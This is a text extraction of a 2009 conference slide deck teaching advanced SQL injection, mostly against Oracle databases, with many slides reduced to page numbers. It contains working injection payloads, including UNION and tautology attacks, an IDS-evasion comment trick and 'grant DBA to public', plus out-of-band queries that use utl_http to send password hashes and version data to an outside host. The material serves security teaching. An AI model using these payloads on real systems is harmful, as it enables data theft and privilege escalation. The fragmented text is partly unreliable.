Hackpra09 Kornburst Advanced SQL Injection PDF
Hackpra09 Kornburst Advanced SQL Injection PDF
Hackpra09 Kornburst Advanced SQL Injection PDF
Bochum
Alexander Kornbrust
10-Nov-2009
Red-Database-Security GmbH
Table of Content
!
Introduction
Architecture
Typical Attackers
Tools
SQL Basics
Red-Database-Security GmbH
Architecture
Architecture
Red-Database-Security GmbH
Security and
Business Rules
Classic solution:
Clients accessing a database via application server
No direct access to the database
Security and business rules are enforced in the application server
Red-Database-Security GmbH
S&B rules
Some people
must connect
with TOAD
New project
Another project
Final solution
Complex architecture
All types of clients are accessing the database
Security and business rules only enforced in the first application server
Red-Database-Security GmbH
DBA 1
DBA 2
DBA n
Endusers
Server
Internet
Red-Database-Security GmbH
Firewall
Server
Attacker
Attackers
Red-Database-Security GmbH
Prod
DBA
Developer
Cloned DB
Backup
Dev
Red-Database-Security GmbH
Staging
8
Classification Attackers
There are different types of attackers and we need different approaches
to catch theses guys because they are leaving different tracks in the
system
The following types of attackers are common (list not complete):
Criminal employee
Leaving employee
External hacker
Intelligence agency
Red-Database-Security GmbH
Red-Database-Security GmbH
10
Red-Database-Security GmbH
11
Criminal employee
12
Leaving employees
Red-Database-Security GmbH
13
External Hacker
Known Incidents:
Identification: Many traces on the way into the system, attackers often lazy
Red-Database-Security GmbH
14
Intelligence Agency
Known Incidents:
Known Suspects:
Red-Database-Security GmbH
15
Red-Database-Security GmbH
16
Introduction
SQL Injection is still the biggest security problem in web applications.
This year we can celebrate it's the 10th anniversary of SQL Injection.
Even if the problem is know since 10 years the knowledge especially
for exploiting Oracle databases is poor.
Most example and tutorials are only for MySQL and SQL Server.
Detailed explanations for SQL Injection in web apps with Oracle
databases are rare and often buggy. That's why SQL Injection in
Oracle is often not exploited
The following presentation shows everything from simple statements to
complex queries
Red-Database-Security GmbH
17
SQL Basics
SQL Injection
Introduction
Red-Database-Security GmbH
18
Netsparker (Web)
Matrixay (Web)
HP Webinspect (Web)
Pangolin (Web)
SQLMap (Web)
Fuzzer (PL/SQL)
Red-Database-Security GmbH
19
Tools / Google
Search for Oracle Error Message ORA-01756 and PHP
[...]
Red-Database-Security GmbH
20
http://www.mavitunasecurity.com/
Red-Database-Security GmbH
Demo: http://tinyurl.com/yl5wgx5
21
Red-Database-Security GmbH
22
Red-Database-Security GmbH
23
Red-Database-Security GmbH
24
Red-Database-Security GmbH
25
Red-Database-Security GmbH
26
Red-Database-Security GmbH
27
http://www.notsosecure.com/folder2/ora_cmd_exec.pl
Red-Database-Security GmbH
28
Red-Database-Security GmbH
29
Red-Database-Security GmbH
30
Barcode Injection
SQL code could also be injected using barcode. Create a
barcode containing SQL statements. Barcode is
nothing else then text in a different font
See also
31
Red-Database-Security
GmbHhttp://www.phenoelit-us.org/stuff/StrichAufRechnung.pd
' o r
Red-Database-Security GmbH
1 = 1 - -
32
Red-Database-Security GmbH
33
SQL Basics
SQL Basics
Red-Database-Security GmbH
34
SQL Basics
SQL = Structured Query Language
Developed in the early 1970s, First commercial implementation in 1979
from Oracle.
Every vendor is implementing a different syntax (e.g. Oracle, Microsoft,
DB2, ). The lowest denominator is the simple SQL syntax.
Vendor specific extensions (e.g. XML) are much more powerful but
require an extensive study of the documentation. These extensions
are often ignored
Red-Database-Security GmbH
35
36
WHAT TO DISPLAY
FROM
FROM WHERE
WHERE
CONDITIONS
GROUP BY
GROUPING
HAVING
ORDER BY
SORT
Red-Database-Security GmbH
37
Red-Database-Security GmbH
38
If you use (n) tables/views, use at least (n-1) join conditions to avoid
cartesian products
Red-Database-Security GmbH
39
Red-Database-Security GmbH
40
Show a list of all customers even if they are not in the products table
Red-Database-Security GmbH
41
Red-Database-Security GmbH
42
43
44
(eliminates duplicates)
* UNION ALL
* MINUS
* INTERSECT
Red-Database-Security GmbH
45
Red-Database-Security GmbH
46
Everybody is using
OR 1=1 --
Red-Database-Security GmbH
47
It depends
Red-Database-Security GmbH
48
It depends
If all IDs of the table are greater than 12, the second part will never be
executed. It is difficult to predict what part will be executed because
this is the choice of the database engine.
Red-Database-Security GmbH
49
Red-Database-Security GmbH
50
line comments:
multi-line comments:
-#
(MySQL)
/* */
Sometimes the following trick can bypass some IDS because the
everything after the -- is handled as comment
SELECT /*--*/ * from table;
Red-Database-Security GmbH
51
'first'||'second'
(not in MySQL
52
Red-Database-Security GmbH
53
Red-Database-Security GmbH
54
55
SELECT username
FROM ALL_USERS
WHERE ID > 1
ORDER BY 1,2;
Red-Database-Security GmbH
56
SELECT username
FROM ALL_USERS
WHERE ID > 1
ORDER BY (select sum(length(utl_http.request('http://
www.orasploit.com/'username||'='||password)) from
dba_users),2;
Red-Database-Security GmbH
57
Red-Database-Security GmbH
58
Red-Database-Security GmbH
59
Red-Database-Security GmbH
60
(Oracle 9i+)
Red-Database-Security GmbH
61
62
63
Red-Database-Security GmbH
64
Red-Database-Security GmbH
65
SELECT *
FROM order
limit 5,1;
Red-Database-Security GmbH
66
Red-Database-Security GmbH
67
Red-Database-Security GmbH
68
(I)
FROM
(II)
WHERE
(III)
GROUP BY
(IV)
HAVING
(V)
[ common ]
UNION
SELECT
ORDER BY
Red-Database-Security GmbH
(VI)
[ common ]
69
Red-Database-Security GmbH
70
* Inband
easiest
* Out-of-Band
easier
* Blind
more requests
Red-Database-Security GmbH
71
Retrieve the results of the SQL Injection in the same input (e.g. in the
browser). Data can be display in the normal output or in an error
message.
Red-Database-Security GmbH
72
Red-Database-Security GmbH
73
Red-Database-Security GmbH
74
Red-Database-Security GmbH
75
Variant (a)
http://victim.com/order.jsp?id=17
Variant (b)
Variant (b)
SELECT *
SELECT *
FROM table
FROM table
WHERE id='17'
where id=17
Red-Database-Security GmbH
76
Variant (a)
http://victim.com/order.jsp?id=17'
Variant (b)
Variant (b)
SELECT *
SELECT *
FROM table
FROM table
WHERE id='17''
where id=17'
77
Variant (a)
http://victim.com/order.jsp?id=17 or 1=1--
Variant (b)
Variant (b)
SELECT *
SELECT *
FROM table
FROM table
78
Variant (a)
Variant (b)
Variant (b)
SELECT *
SELECT *
FROM table
FROM table
WHERE id='17'
where id=17
UNION
UNION
SELECT name
SELECT name
FROM TABLE --
FROM TABLE--
79
Red-Database-Security GmbH
80
(1st attempt)
(2nd attempt)
(3rd attempt)
Number of Columns = 4
Red-Database-Security GmbH
81
(1st attempt)
(2nd attempt)
Normal output
SELECT * FROM table
ORDER BY 6
(3rd attempt)
(4th attempt)
82
Red-Database-Security GmbH
83
Red-Database-Security GmbH
84
Red-Database-Security GmbH
85
Red-Database-Security GmbH
86
Red-Database-Security GmbH
87
88
Red-Database-Security GmbH
89
Red-Database-Security GmbH
90
A different channel (e.g. HTTP, DNS) is used to transfer the data from
the SQL query. If this is working it is the easiest way to retrieve a
large amount of data from the database
Red-Database-Security GmbH
91
Red-Database-Security GmbH
92
Red-Database-Security GmbH
93
SELECT *
FROM table
WHERE id='17' or 1=sum(length(utl_http.request('http://
www.orasploit.com/'||(select banner from v$version)))--
Red-Database-Security GmbH
94
Different timings / results are used to retrieve data from the database.
Oracle offers 2 possibilities to run blind injection.
DECODE
CASE
Red-Database-Security GmbH
95
Red-Database-Security GmbH
96
97
Red-Database-Security GmbH
98
Elapsed: 00:00:05.15
Red-Database-Security GmbH
99
Red-Database-Security GmbH
100
101
102
File System
Access (MySQL)
Red-Database-Security GmbH
103
Red-Database-Security GmbH
104
Red-Database-Security GmbH
105
Red-Database-Security GmbH
106
Red-Database-Security GmbH
107
Red-Database-Security GmbH
108
Red-Database-Security GmbH
109
110
Red-Database-Security GmbH
111
Red-Database-Security GmbH
112
Red-Database-Security GmbH
113
Red-Database-Security GmbH
114
Running OS Commands
Running OS
Commands
Red-Database-Security GmbH
115
Run OS Commands
Running OS commands is different in the different database systems. The following
examples show how to run OS commands in Oracle and MySQL.
MySQL does not natively support the execution of shell commands. Most times the
attacker hopes that the MySQL server and WebServer reside on the same box
allowing the attacker to use the select into DUMPFILE technique to build a rogue
CGI on the target machine. The create UDF attack detailed by NGSS is excellent
thinking but can not easily be done through a SQL Injection attack (again
because of us being unable to execute multiple queries separated by a
command separator).
The following technique works only as root (which is normally not the case)
Red-Database-Security GmbH
116
Red-Database-Security GmbH
117
http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html
Red-Database-Security GmbH
118
Red-Database-Security GmbH
119
Red-Database-Security GmbH
120
121
Red-Database-Security GmbH
122
Red-Database-Security GmbH
123
Red-Database-Security GmbH
124
Red-Database-Security GmbH
125
MySQL Cheat
Sheet
Red-Database-Security GmbH
126
Red-Database-Security GmbH
127
Red-Database-Security GmbH
128
Red-Database-Security GmbH
129
Addendum
Addendum
Red-Database-Security GmbH
130
Red-Database-Security GmbH
131
Red-Database-Security GmbH
132
Red-Database-Security GmbH
133
Oracle Client
grant DBA to public--
Red-Database-Security GmbH
134
Public Grants
Number of PL/SQL-Procedures and functions granted to public (Installation
seed database with sample)
9i Rel. 1
9i Rel. 2
9654
10g Rel. 1
10g Rel. 2
11g Rel. 1
11g Rel. 2
XE
: 8077
: 8330
: 10391
: 10341
: 5701
OAS 10g
: 8089
Red-Database-Security GmbH
: 4175
: 5540
/ Java- Classes:
/ Java- Classes:
/ Java-Classes:
/ Java-Classes:
/ Java-Classes:
/ Java-Classes:
15650
16539
22037
22803
0
(Seed database)
135
Grants
Red-Database-Security GmbH
136
Number of Functions
Evolution of Oracle.exe
8.0.5: ~16k functions and ~600 global
variables.
8.1.5: ~18k functions and ~4k global
variables.
8.1.7.4: ~22k functions and ~4.5k global
variables.
9.0.1.1.1: ~31k functions and ~6k global
variables.
9.2.0.4: ~45k functions and ~8k global
variables.
10.1.0.5: ~60k functions and ~11k global
variables.
10.2.0.3: ~72k functions and ~11k gloval
Source:
Red-Database-Security
GmbHhttp://blogs.conus.info/node?page=1
variables.
11.1.0.6.0: ~113k functions and ~17k
137
Contact
Red-Database-Security GmbH
Bliesstrae 16
66538 Neunkirchen
Germany
Phone: +49 - 174 - 98 78 118
Fax:
+49 6821 91 27 354
E-Mail: info <at> red-database-security.com
Red-Database-Security GmbH
138